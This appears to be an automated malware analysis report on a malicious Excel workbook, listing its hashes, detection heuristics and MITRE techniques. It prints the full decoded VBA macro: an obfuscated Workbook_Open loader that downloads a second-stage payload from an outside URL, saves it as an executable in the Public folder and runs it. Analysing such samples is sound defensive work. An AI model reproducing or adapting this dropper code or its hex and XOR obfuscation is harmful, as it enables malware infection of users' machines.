Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 10ad4414cfcf4191…

MALICIOUS

Office (OLE)

379.5 KB Created: 2020-08-30 21:19:08 First seen: 2020-09-07
MD5: 1f3aa316eb26f9523e03a8b5010a4119 SHA-1: 622cfce193c5cb6665d0e562d55a18324289bb7d SHA-256: 10ad4414cfcf4191c1d1917f5eaa3ea7bcc4e7d15845dcc97c047a4bf8ee3f55
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates an obfuscated auto-exec VBA loader. The Workbook_Open macro contains a string literal that decodes to 'https://s3.rokket.space/t_6OuAvd.txt', which is likely the URL for a second-stage payload. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms that VBA downloads and writes a file to disk, and the 'CreateObject' call suggests execution of that downloaded file.

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    PloZXcDAqqWERDAgBHNAJkLMZVBX56op0967TAReqWEABZVXmCZBAHJUIL.write APl90VCQWrVYOPl87ZDFqpLPLVBYHAFZDSMNBZH658HYPlKMKAdqEWRA.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set APl90VCQWrVYOPl87ZDFqpLPLVBYHAFZDSMNBZH658HYPlKMKAdqEWRA = CreateObject(MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set APl90VCQWrVYOPl87ZDFqpLPLVBYHAFZDSMNBZH658HYPlKMKAdqEWRA = CreateObject(MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4867 bytes
SHA-256: 32e44a6c5761f7c0f6cd76a135df15607bf508e3cb7ca624f8f80bf8bc8d80fa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Loader"68 74 74 70 73 3A 2F 2F 73 33 2E 72 6F 6B 6B 65 74 2E 73 70 61 63 65 2F 74 5F 36 4F 75 41 76 64 2E 74 78 74"
End Sub
Function lxje2wbqqa4f71j(str As String) As Variant: Dim bytes() As Byte: bytes = str: lxje2wbqqa4f71j = bytes: End Function
Function ow3dx76fxdzcaakp7ycarrv(bytes() As Byte) As String: Dim str As String: str = bytes: ow3dx76fxdzcaakp7ycarrv = str: End Function

Function yi8wthw2s4m6w0r2dqzqjd4(str As String) As String
    Const KoLaNBv98RqWRPXczBVJH_PL89VCG As String = "amav8ie5msnjvymamnfgdk7"
    Dim Zpo9agGH12BCvMX0TSRLAPK() As Byte, SokNAH_() As Byte
    Zpo9agGH12BCvMX0TSRLAPK = lxje2wbqqa4f71j(str)
    P90VCGfAsNCBRtAU_C = lxje2wbqqa4f71j(KoLaNBv98RqWRPXczBVJH_PL89VCG)
    
    Dim Sola67BChdPo_NcBBn As Long
    Sola67BChdPo_NcBBn = UBound(Zpo9agGH12BCvMX0TSRLAPK)
    
    ReDim BCVPlokIgdh67BCGF_BQAZ(0 To Sola67BChdPo_NcBBn) As Byte
    
    Dim GOP As Long
    
    For GOP = LBound(Zpo9agGH12BCvMX0TSRLAPK) To Sola67BChdPo_NcBBn:
        If Not Zpo9agGH12BCvMX0TSRLAPK(GOP) = 0 Then
            c = Zpo9agGH12BCvMX0TSRLAPK(GOP)
            For i = 0 To UBound(P90VCGfAsNCBRtAU_C):
                c = c Xor P90VCGfAsNCBRtAU_C(i)
            Next i
            BCVPlokIgdh67BCGF_BQAZ(GOP) = c
        End If
    
    Next GOP
    
    yi8wthw2s4m6w0r2dqzqjd4 = ow3dx76fxdzcaakp7ycarrv(BCVPlokIgdh67BCGF_BQAZ)
End Function


Public Sub Loader(Link As String)

Dim APl90VCQWrVYOPl87ZDFqpLPLVBYHAFZDSMNBZH658HYPlKMKAdqEWRA

Dim PloZXcDAqqWERDAgBHNAJkLMZVBX56op0967TAReqWEABZVXmCZBAHJUIL

Dim QWEPLkm876CZbHGYU57777MNZBvagFKlopRAEQWDZZCGHAJkLKJPMNBXVC

Set APl90VCQWrVYOPl87ZDFqpLPLVBYHAFZDSMNBZH658HYPlKMKAdqEWRA = CreateObject(MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Set PloZXcDAqqWERDAgBHNAJkLMZVBX56op0967TAReqWEABZVXmCZBAHJUIL = CreateObject(MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV("41 44 4f 44 42 2e 53 74 72 65 61 6d"))

Set QWEPLkm876CZbHGYU57777MNZBvagFKlopRAEQWDZZCGHAJkLKJPMNBXVC = CreateObject(MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))
zpO3g4a27ljhpYZ9fzbqQ = MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV(Link)

ZEskrXuHpvKUCZ1zZnapFiGcx1LdYvvpDL0QtFIxdM = MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 69 67 66 78 74 73 6b 2e 65 78 65")

RUNCMD = MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 69 67 66 78 74 73 6b 2e 65 78 65")
APl90VCQWrVYOPl87ZDFqpLPLVBYHAFZDSMNBZH658HYPlKMKAdqEWRA.Open yi8wthw2s4m6w0r2dqzqjd4(chr(126)) + yi8wthw2s4m6w0r2dqzqjd4(chr(124) & "") + yi8wthw2s4m6w0r2dqzqjd4(chr(109) & ""), zpO3g4a27ljhpYZ9fzbqQ, False

APl90VCQWrVYOPl87ZDFqpLPLVBYHAFZDSMNBZH658HYPlKMKAdqEWRA.send

PloZXcDAqqWERDAgBHNAJkLMZVBX56op0967TAReqWEABZVXmCZBAHJUIL.Type = 1

PloZXcDAqqWERDAgBHNAJkLMZVBX56op0967TAReqWEABZVXmCZBAHJUIL.Open

PloZXcDAqqWERDAgBHNAJkLMZVBX56op0967TAReqWEABZVXmCZBAHJUIL.write APl90VCQWrVYOPl87ZDFqpLPLVBYHAFZDSMNBZH658HYPlKMKAdqEWRA.responseBody

PloZXcDAqqWERDAgBHNAJkLMZVBX56op0967TAReqWEABZVXmCZBAHJUIL.savetofile ZEskrXuHpvKUCZ1zZnapFiGcx1LdYvvpDL0QtFIxdM, 2

QWEPLkm876CZbHGYU57777MNZBvagFKlopRAEQWDZZCGHAJkLKJPMNBXVC.Run RUNCMD

End Sub

Public Function MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV(ByVal tafnwQNkt0AQjFbDrDShnNM9dRwWXbYaZHu51BIVBEKfjJHlPXekqAYNe7v1ftEemTPoba5NPbejNfd0zSg As String) As String


Dim ev1pg8p8hk2grbhwhdeslxm As String


Dim ghks5seplm178gcl0abpzks As String



Dim r0ktxl8dclel0escnpb661i As Long

    For r0ktxl8dclel0escnpb661i = 1 To Len(tafnwQNkt0AQjFbDrDShnNM9dRwWXbYaZHu51BIVBEKfjJHlPXekqAYNe7v1ftEemTPoba5NPbejNfd0zSg) Step 3
        XDZgah76yPLMnbVXbTRAeqwWQAEplXZCGHAPLKOI = chr$(Val(yi8wthw2s4m6w0r2dqzqjd4(chr(31) & "q" & "") & Mid$(tafnwQNkt0AQjFbDrDShnNM9dRwWXbYaZHu51BIVBEKfjJHlPXekqAYNe7v1ftEemTPoba5NPbejNfd0zSg, r0ktxl8dclel0escnpb661i, 2)))
        ghks5seplm178gcl0abpzks = ghks5seplm178gcl0abpzks & XDZgah76yPLMnbVXbTRAeqwWQAEplXZCGHAPLKOI
    Next r0ktxl8dclel0escnpb661i
    MKLoi89QaXCZaIuy690VXCAFGw2GHSuP09CVB676GHAlPMNXV = ghks5seplm178gcl0abpzks
End Function


Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.